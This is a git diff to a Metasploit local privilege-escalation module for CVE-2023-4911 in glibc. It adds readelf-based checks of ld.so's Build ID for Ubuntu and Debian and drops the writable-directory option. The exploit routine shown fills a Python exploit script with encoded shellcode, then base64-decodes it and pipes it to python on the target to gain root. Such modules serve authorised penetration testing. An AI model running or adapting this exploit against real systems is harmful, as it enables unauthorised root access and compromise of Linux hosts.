diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb
index cf7a401b7cdd4..813aa64b23396 100644
--- a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb
+++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb
@@ -84,12 +84,9 @@ def initialize(info = {})
         }
       )
     )
-    register_advanced_options([
-      OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])
-    ])
   end
 
-  def find_exec_program
+  def find_python
     %w[python python3].select(&method(:command_exists?)).first
   rescue StandardError => e
     fail_with(Failure::Unknown, "An error occurred finding a version of python to use: #{e.message}")
@@ -124,10 +121,45 @@ def check
 
   def check_ld_so_build_id
     # Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so
-    if !command_exists?('file')
-      print_warning('Unable to locate the `file` command ti  order to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.')
-      return
+    if command_exists?('file')
+      check_ld_so_build_id_file
+    elsif command_exists?('readelf')
+      check_ld_so_build_id_readelf
+    else
+      print_warning('Unable to locate the commands to verify the BuildID for ld.so.')
     end
+  end
+
+  def check_ld_so_build_id_readelf
+    file_cmd_output = ''
+
+    # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
+    # defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.
+    sysinfo = get_sysinfo
+    case sysinfo[:distro]
+    when 'ubuntu'
+      if command_exists?('ldconfig')
+        file_cmd_output = cmd_exec('readelf -a $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*") | grep "Build ID"')
+      end
+    when 'debian'
+      file_cmd_output = cmd_exec('readelf -a "$(readlink -f "$(command -v ld.so)")"| grep "Build ID"')
+    else
+      fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')
+    end
+
+    if file_cmd_output =~ /Build ID: (\w+)$/
+      build_id = Regexp.last_match(1)
+      if BUILD_IDS.keys.include?(build_id)
+        print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")
+      else
+        fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
+      end
+    else
+      print_warning('Unable to verify the BuildID for ld.so via `readelf`, the exploit has a chance of being incompatible with this target.')
+    end
+  end
+
+  def check_ld_so_build_id_file
     file_cmd_output = ''
 
     # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
@@ -152,27 +184,26 @@ def check_ld_so_build_id
         fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
       end
     else
-      print_warning('Unable to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.')
+      print_warning('Unable to verify the BuildID for ld.so via `file`, the exploit has a chance of being incompatible with this target.')
     end
   end
 
   def exploit
     fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root?
 
-    python_binary = find_exec_program
+    python_binary = find_python
     fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary
     vprint_status("Using '#{python_binary}' to run the exploit")
 
     check_ld_so_build_id
 
-    # The python script assumes the working directory is the one we can write to.
-    cd(datastore['WritableDir'])
     shell_code = payload.encoded.unpack('H*').first
 
     exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py')
     exploit_data = exploit_data.gsub('METASPLOIT_SHELL_CODE', shell_code)
     exploit_data = exploit_data.gsub('METASPLOIT_BUILD_IDS', BUILD_IDS.to_s.gsub('=>', ':'))
 
+    vprint_status('All good let\'s go.')
     # If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully
     output = cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary}")
     if output.blank?